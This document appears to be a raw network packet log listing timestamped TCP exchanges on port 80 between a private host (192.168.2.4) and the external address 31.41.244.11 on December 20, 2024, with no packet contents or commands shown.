Dec 20, 2024 07:12:11.354336977 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.355168104 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.355218887 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.355278015 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.355333090 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.356110096 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.356162071 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.495362043 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.495376110 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.495542049 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.495781898 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.495893002 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.495930910 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.495959044 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.496779919 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.496834040 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.496880054 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.496927023 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.497792006 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.497862101 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.497900963 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.497945070 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.498774052 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.498823881 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.498894930 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.498944044 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.499793053 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.499838114 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.499880075 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.499929905 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.500807047 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.500855923 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.500895977 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.500952959 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.501795053 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.501841068 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.501900911 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.501946926 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.502820969 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.502866983 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.502943993 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.502988100 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.503830910 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.503876925 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.503948927 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.503993034 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.504821062 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.504873037 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.504929066 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.504973888 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.505822897 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.505868912 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.505913973 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.505968094 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.506875038 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.506921053 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.506947994 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.506994009 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.507848024 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.507900953 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.507957935 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.508002043 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.508843899 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.508888960 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.508949995 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.508994102 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.509839058 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.509900093 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.509942055 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.509993076 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.510895967 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.510962963 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.511013985 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.511068106 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.511893988 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.511960030 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.512053013 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.512113094 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.512871027 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.512929916 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.512974024 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.513020039 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.513886929 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.513933897 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.513983011 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.514036894 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.514895916 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.514940977 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.515010118 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.515057087 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.515921116 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.515969992 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.516019106 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.516068935 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.516912937 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.516957998 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.516995907 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.517040014 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.517916918 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.517968893 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.518208981 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.518256903 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.518899918 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.518950939 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.519020081 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.519063950 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.519937992 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.519999027 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.520037889 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.520081043 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.520908117 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.520958900 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.521025896 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.521070004 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.521930933 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.521975994 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.522063017 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.522106886 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.522943020 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.522989035 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.523044109 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.523087025 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.523941040 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.523988008 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.524064064 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.524107933 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.524961948 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.525007963 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.525073051 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.525120974 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.525975943 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.526037931 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.526077032 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.526128054 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.526961088 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.527008057 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.527070999 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.527120113 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.527970076 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.528017998 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.528096914 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.528145075 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.529010057 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.529055119 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.529129982 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.529175043 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.529973030 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.530018091 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.530071974 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.530121088 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.531004906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.531049967 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.531122923 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.531167030 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.531987906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.532041073 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.532171965 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.532228947 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.532999992 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.533045053 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.533252954 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.533297062 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.534075022 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.534121037 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.534219027 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.534264088 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.535031080 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.535078049 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.535152912 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.535196066 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.536043882 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.536091089 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.536130905 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.536176920 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.537019014 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.537065029 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.537108898 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.537152052 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.538049936 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.538105011 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.538151979 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.538203001 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.539052010 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.539103031 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.539237022 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.539283037 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.540055990 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.540117979 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.540155888 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.540203094 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.541060925 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.541106939 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.541150093 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.541191101 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.542100906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.542148113 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.542187929 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.542233944 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.543052912 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.543098927 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.543179989 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.543220997 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.544071913 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.544140100 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.544223070 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.544282913 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.545074940 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.545140028 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.545178890 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.545221090 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.546086073 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.546149969 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.546184063 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.546241999 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.547112942 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.547177076 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.547219038 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.547281027 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.548132896 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.548193932 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.687690973 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.687748909 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.687858105 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.687912941 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.688056946 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.688102961 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.688172102 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.688222885 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.689090014 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.689138889 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.689141989 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.689186096 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.690066099 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.690113068 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.690155983 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.690210104 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.691097021 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.691162109 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.691423893 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.691483974 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.692146063 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.692202091 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.692373991 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.692439079 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.693084955 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.693145037 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.693408966 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.693468094 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.694125891 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.694251060 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.694282055 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.694313049 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.695174932 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.695234060 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.695272923 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.695334911 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.696093082 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.696156979 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.696722031 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.696769953 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.697140932 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.697153091 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.697201967 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.698123932 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.698191881 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.698265076 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.698333979 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.699116945 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.699167967 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.699234962 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.699285984 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.700151920 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.700206995 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.700231075 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.700275898 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.701179981 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.701199055 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.701229095 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.701256990 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.702121973 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.702178001 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.702244043 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.702294111 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.703139067 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.703185081 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.703223944 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.703280926 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.704173088 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.704235077 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.704277992 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.704325914 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.705162048 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.705219984 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.705249071 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.705308914 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.706154108 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.706213951 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.706260920 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.706312895 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.707165956 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.707218885 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.707283974 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.707382917 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.708183050 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.708240032 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.708288908 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.708343983 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.709177971 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.709233046 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.709300995 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.709346056 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.710191965 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.710258961 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.710304976 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.710357904 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.711211920 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.711285114 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.711293936 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.711359024 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.712203026 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.712264061 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.712307930 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.712368965 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.713293076 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.713362932 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.713401079 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.713457108 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.714222908 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.714273930 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.714328051 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.714371920 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.715215921 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.715269089 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.715322971 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.715372086 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.716212988 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.716259003 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.716334105 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.716382027 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.717247963 CET	80	49759	31.41.244.11	192.168.2.4
